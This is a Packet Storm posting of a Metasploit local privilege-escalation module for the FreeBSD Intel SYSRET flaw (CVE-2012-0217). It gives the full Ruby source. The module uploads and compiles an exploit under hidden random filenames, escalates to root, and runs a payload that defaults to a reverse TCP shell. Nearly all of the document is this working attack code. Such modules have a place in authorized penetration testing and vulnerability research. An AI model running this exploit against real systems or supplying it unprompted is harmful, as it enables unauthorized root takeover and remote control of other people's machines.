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FreeBSD Intel SYSRET Privilege Escalation

FreeBSD Intel SYSRET Privilege Escalation
Posted Mar 7, 2019
Authored by Rafal Wojtczuk, Brendan Coles, John Baldwin, iZsh | Site metasploit.com

This Metasploit module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors. By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution.

tags | exploit, x86, kernel, code execution
systems | freebsd, bsd
advisories | CVE-2012-0217
MD5 | 3c4bc514cf25ebc9c86255e4a4f4d06e

FreeBSD Intel SYSRET Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD kernel,
when running on 64-bit Intel processors.

By design, 64-bit processors following the X86-64 specification will
trigger a general protection fault (GPF) when executing a SYSRET
instruction with a non-canonical address in the RCX register.

However, Intel processors check for a non-canonical address prior to
dropping privileges, causing a GPF in privileged mode. As a result,
the current userland RSP stack pointer is restored and executed,
resulting in privileged code execution.

This module has been tested successfully on:

FreeBSD 8.3-RELEASE (amd64); and
FreeBSD 9.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rafal Wojtczuk', # Discovery
'John Baldwin', # Discovery
'iZsh', # Exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2012-06-12',
'Platform' => ['bsd'],
'Arch' => [ARCH_X64],
'SessionTypes' => ['shell'],
'References' =>
[
['BID', '53856'],
['CVE', '2012-0217'],
['EDB', '28718'],
['PACKETSTORM', '113584'],
['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
],
'Targets' =>
[
['Automatic', {}]
],
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
'DefaultTarget' => 0))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end

def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end

register_file_for_cleanup path
chmod path
end

def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-0217', file)
end

def is_root?
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end

def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end

def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"
return Exploit::CheckCode::Safe
end
vprint_good "FreeBSD version #{kernel_release} appears vulnerable"

arch = cmd_exec('uname -m').to_s
unless arch.include? '64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"

hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
unless hw_model.downcase.include? 'intel'
vprint_error "#{hw_model} is not vulnerable"
return CheckCode::Safe
end
vprint_good "#{hw_model} is vulnerable"

CheckCode::Appears
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# Upload and compile exploit executable
executable_name = ".#{rand_text_alphanumeric 5..10}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_compile executable_path, strip_comments(exploit_data('sysret.c')), '-Wall'

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit...'
output = cmd_exec executable_path
output.each_line { |line| vprint_status line.chomp }

unless is_root?
fail_with Failure::Unknown, 'Exploitation failed'
end
print_good "Success! Executing payload..."

cmd_exec payload_path
end
end

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